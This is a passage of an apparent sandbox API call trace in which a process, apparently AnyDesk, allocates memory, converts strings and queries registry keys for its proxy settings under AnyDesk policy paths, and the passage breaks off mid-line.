MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0198.790] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55198 [0198.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0xe55198, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0198.790] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0006c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0198.790] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55198 [0198.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0006c, cbMultiByte=-1, lpWideCharStr=0xe55198, cchWideChar=8 | out: lpWideCharStr="connect") returned 8 [0198.790] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.790] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe327f8 [0198.790] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe49510 [0198.790] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.790] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.790] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.790] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be20 | out: hHeap=0x3b0000) returned 1 [0198.790] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4be20 [0198.790] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.790] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.791] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55078 [0198.791] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.791] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe494f0 [0198.791] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0198.791] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55198 [0198.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0xe55198, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0198.791] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0006c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0198.791] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55198 [0198.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0006c, cbMultiByte=-1, lpWideCharStr=0xe55198, cchWideChar=8 | out: lpWideCharStr="connect") returned 8 [0198.791] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9db4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0198.791] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55198 [0198.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9db4, cbMultiByte=-1, lpWideCharStr=0xe55198, cchWideChar=6 | out: lpWideCharStr="socks") returned 6 [0198.791] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.791] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe323f8 [0198.791] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe49510 [0198.792] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.792] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.792] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.792] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be20 | out: hHeap=0x3b0000) returned 1 [0198.792] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0xe4be20 [0198.792] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.792] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.792] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55078 [0198.792] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.792] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe494f0 [0198.792] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0198.792] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55198 [0198.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0xe55198, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0198.792] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.792] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32878 [0198.792] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe49510 [0198.792] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.793] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.793] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.793] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be20 | out: hHeap=0x3b0000) returned 1 [0198.793] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4be20 [0198.793] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.793] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.793] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55078 [0198.793] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.793] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe494f0 [0198.793] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0198.793] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55198 [0198.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0xe55198, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0198.793] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.793] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32778 [0198.793] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe49510 [0198.793] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.794] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.794] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.794] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be20 | out: hHeap=0x3b0000) returned 1 [0198.794] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4be20 [0198.794] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.794] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.794] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55078 [0198.794] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.794] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe55198 [0198.794] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0198.794] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe551c8 [0198.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0xe551c8, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0198.794] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551c8 | out: hHeap=0x3b0000) returned 1 [0198.794] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32838 [0198.794] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe551c8 [0198.795] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551c8 | out: hHeap=0x3b0000) returned 1 [0198.795] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.795] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.795] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be20 | out: hHeap=0x3b0000) returned 1 [0198.795] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe054b0 | out: hHeap=0x3b0000) returned 1 [0198.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa38, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0198.795] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55c90 [0198.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa38, cbMultiByte=-1, lpWideCharStr=0xe55c90, cchWideChar=21 | out: lpWideCharStr="ad.anynet.proxy.mode") returned 21 [0198.796] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0198.796] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe494f0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0198.796] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.796] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe49510 [0198.796] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.796] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.797] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0198.797] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55c90 [0198.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa50, cbMultiByte=-1, lpWideCharStr=0xe55c90, cchWideChar=21 | out: lpWideCharStr="ad.anynet.proxy.type") returned 21 [0198.797] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0198.797] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe494f0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0198.797] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0198.797] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0198.797] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33048 [0198.798] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.type", lpReserved=0x0, lpType=0x2e1f288, lpData=0x0, lpcbData=0x2e1f28c*=0x0 | out: lpType=0x2e1f288*=0x0, lpData=0x0, lpcbData=0x2e1f28c*=0x0) returned 0x6 [0198.798] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2b4 | out: phkResult=0x2e1f2b4*=0x0) returned 0x2 [0198.798] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33048 | out: hHeap=0x3b0000) returned 1 [0198.799] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0198.799] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0198.799] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33048 [0198.799] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.type", lpReserved=0x0, lpType=0x2e1f288, lpData=0x0, lpcbData=0x2e1f28c*=0x0 | out: lpType=0x2e1f288*=0x0, lpData=0x0, lpcbData=0x2e1f28c*=0x0) returned 0x6 [0198.799] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2b4 | out: phkResult=0x2e1f2b4*=0x0) returned 0x2 [0198.799] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33048 | out: hHeap=0x3b0000) returned 1 [0198.799] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.800] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe49510 [0198.800] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.800] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.800] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.800] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.800] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.800] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0198.800] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49570 | out: hHeap=0x3b0000) returned 1 [0198.800] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49570 [0198.800] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49580 | out: hHeap=0x3b0000) returned 1 [0198.800] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49580 [0198.800] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49590 | out: hHeap=0x3b0000) returned 1 [0198.801] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49590 [0198.801] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0198.801] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.801] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0ce7c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0198.801] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fb28 [0198.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0ce7c, cbMultiByte=-1, lpWideCharStr=0xe2fb28, cchWideChar=33 | out: lpWideCharStr="ad.anynet.proxy.max_search_delay") returned 33 [0198.801] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0198.801] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe494f0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0198.801] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0198.801] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0198.801] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe320b8 [0198.801] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.maxsearchdelay", lpReserved=0x0, lpType=0x2e1f288, lpData=0x0, lpcbData=0x2e1f28c*=0x0 | out: lpType=0x2e1f288*=0x0, lpData=0x0, lpcbData=0x2e1f28c*=0x0) returned 0x6 [0198.801] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2b4 | out: phkResult=0x2e1f2b4*=0x0) returned 0x2 [0198.802] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320b8 | out: hHeap=0x3b0000) returned 1 [0198.802] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0198.802] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0198.802] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe320b8 [0198.803] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.maxsearchdelay", lpReserved=0x0, lpType=0x2e1f288, lpData=0x0, lpcbData=0x2e1f28c*=0x0 | out: lpType=0x2e1f288*=0x0, lpData=0x0, lpcbData=0x2e1f28c*=0x0) returned 0x6 [0198.803] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2b4 | out: phkResult=0x2e1f2b4*=0x0) returned 0x2 [0198.803] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320b8 | out: hHeap=0x3b0000) returned 1 [0198.803] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.803] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe49510 [0198.804] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.804] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.804] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0198.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0198.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55c90 [0198.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa98, cbMultiByte=-1, lpWideCharStr=0xe55c90, cchWideChar=21 | out: lpWideCharStr="ad.anynet.proxy.auth") returned 21 [0198.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0198.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe494f0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0198.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55078 [0198.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0198.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe55198 [0198.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0xe55198, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0198.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cbc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0198.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55198 [0198.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cbc, cbMultiByte=-1, lpWideCharStr=0xe55198, cchWideChar=6 | out: lpWideCharStr="false") returned 6 [0198.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.806] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daab0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0198.806] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe320b8 [0198.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daab0, cbMultiByte=-1, lpWideCharStr=0xe320b8, cchWideChar=26 | out: lpWideCharStr="ad.anynet.proxy.auto_auth") returned 26 [0198.806] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0198.806] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe49510, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0198.806] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0198.806] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0198.806] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55c90 [0198.806] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.autoauth", lpReserved=0x0, lpType=0x2e1f278, lpData=0x0, lpcbData=0x2e1f27c*=0x0 | out: lpType=0x2e1f278*=0x0, lpData=0x0, lpcbData=0x2e1f27c*=0x0) returned 0x6 [0198.806] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2a4 | out: phkResult=0x2e1f2a4*=0x0) returned 0x2 [0198.807] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.807] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0198.807] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0198.807] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 